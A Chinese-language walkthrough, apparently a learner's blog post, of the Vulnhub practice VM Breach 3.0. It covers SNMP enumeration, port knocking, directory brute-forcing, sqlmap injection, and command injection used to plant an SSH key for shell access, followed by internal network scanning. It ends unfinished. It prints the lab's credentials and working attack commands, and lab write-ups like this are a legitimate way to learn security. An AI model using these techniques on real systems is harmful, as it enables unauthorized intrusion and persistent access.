Vulnhub靶场练习:Breach 3.0
一、环境搭建
1、官网下载地址:https://www.vulnhub.com/entry/breach-301,177/
2、将下载的环境解压出来,使用Oracle VM VirtualBox导入环境
3、Breach 3.0这个靶场没有设置固定ip地址,所以为了方便练习,我设置了桥接模式,启动环境即可
二、靶场攻略
1、使用netdiscover扫描到靶场ip地址为192.168.1.114
2、使用nmap -sU 192.168.1.114,发现启动了161的snmap端口
3、使用snmpwalk工具,输入命令:snmpwalk -Os -c public -v 1 192.168.1.114,通过snmap获取到靶场端口一些信息
4、从网上查询到的资料知道靶场开启了knock,所以需要敲门,在git上找到一个knock敲门脚本
下载连接:https://github.com/adaywithtape/knocker,下载之后使用命令chmod +x knocker.sh ,然后运行脚本 ./knocker.sh -i 192.168.1.114 -p 545,232,1876,运行脚本之后提示敲门成功
5、再次使用nmap扫描主机,发现开启了更多端口,其中有ssh端口
6、连接SSH,再次获取到信息
7、再次运行敲门脚本./knocker.sh -i 192.168.1.114 -p 555,423,1800,敲门成功之后,再次使用扫描,这次只有2个端口,多出一个http端口的8端口
8、访问192.168.1.114:8,提示需要密码,账号为:milton,这个在之前做的系列靶场Breach 1中得到过,密码为:thelaststraw,登录成功
点击Place的连接,进入到一个admin登录界面
9、因为没有密码,既然有web服务,就使用dirb爆破一下网站目录看是否有其他可以利用的
输入命令:dirb http://192.168.1.114:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw=="
-w是不要停在警告信息上
-H添加自定义表头数据,Authorization是用来验证的表头,Basic是使用Basic加密的账号密码
最后爆破处blog目录,和images目录
10、访问之后,看到一个提示界面,源码中看到详细信息,知道有一个账户samir
11、再次使用dirb爆破,输入命令dirb http://192.168.1.114:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" /usr/share/wordlists/dirb/big.txt -X .php,.bak,.html,.txt,这次扫描更多文件后缀,但是也枚发现更多的页面
12、返回登录框,尝试sql注入,看是否可以注入,打开BP抓取登陆界面的数据包,将数据包保存为一个文件
运行sqlmap,尝试注入,输入命令:
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs,执行之后出现一个302跳转界面,这里提示数据是否提交到302的跳转界面,要选择n,不要将数据提交过去
成功注入,得到数据库信息
在thebobs数据库中,看到一个login表,得到admin账号密码
破解密码为:randomhash
在数据库backups中,有个info表,得到milton的密码,还有blumbergh的密码,密码为Basse 64加密了5次,最后解密为:C0ff33stainS
手动访问跳转的界面,是一个评论的站点
13、在评论站点里,Initech Home--->Employee portal发现一个Livechat界面
14、在这个表单界面,输入信息,点击Submit,会出现search搜索参数,这个参数有命令执行漏洞
15、发现可以在sudo命令下不用密码执行的命令为账户thebobs账户下chmod的命令
16、存在命令执行,又开启了ssh服务,就有个思路,可以在攻击机上生成一对密钥,然后将公钥写入到靶机的用户ssh密钥信息目录中,再使用自己的私钥登录
使用命令ssh-keygen -t rsa -b 1024,生成一对ssh密钥
然后将公钥进行base 64加密
写入公钥到靶机:
http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFBZ1FERngvblkwKzVSVDlRYktjM0EzWm15Y1dabHA3NHlQaFRZd2pqTW9iVThVVUdvNVAzUmljOUxtdFZqSVFtYzNZN3FLamlJYmZiTkZWakM2U2N3ZkNvNUlSMjNYM0VGQzBHSHZldTNRS0J3dUhBVXZPaWpBTmdQdW56U3FGajYrMHMyWlhDRXZGTmtWSnR5Nk9BRjhXcFZmRmVhNURJdVgydkNBb2hWVWVwcC93PT0gcm9vdEBrYWxp" | base64 -d > /home/thebobs/.ssh/authorized_keys
使用thebobs用户的chmod目录,对ssh目录进行权限设置:
http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo -u thebobs chmod 700 /home/thebobs/.ssh/
对公钥文件进行权限设置以便让传过去的公钥文件可以执行:
http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys
使用命令:ssh -i id_rsa 10.10.114.173 -l thebobs,利用生成的私钥进行登录,成功获得shell
17、thebobs用户的shell使用的为python的,为了方便执行交互,输入:import pty;pty.spawn('/bin/bash'),获得交互shell,成功获得可以交互的shell
使用命令ls,发现目录下有falg1,成功获得flag1
18、通过ifconfig信息,发现机器上运行有两个libvirt实例
使用命令:cat /etc/libvirt/qemu/networks/default.xml ,确定实例的ip地址范围为192.168.122.2-192.168.122.254
使用命令:for i in $(seq 2 254); do ping -c 1 192.168.122.$i -w 1 | grep "bytes from "; done,来确定网段内存活主机的ip,得到两个实例的ip地址
19、攻击机内安装有nmap,所以可以直接使用nmap对内部进行扫描,将两个ip地址写入targets.txt文件之中,使用命令:nmap -sT -sV -sC -p- -Pn -n -vv -oA nmap_tcp_version_scripts_full_targets -iL targets.txt,发现192.168.122.65开启80端口
靶场环境有问题,无法通过ssh -L 8081:192.168.122.65:80 thebobs@10.10.114.173这条命令,将靶场虚拟机里端口转发出来,所以无法进行下一步,找遍外网没有找到一篇除攻略之外的说明,这次就到这里了,等技术提升有其他别的方法之后,再来挑战!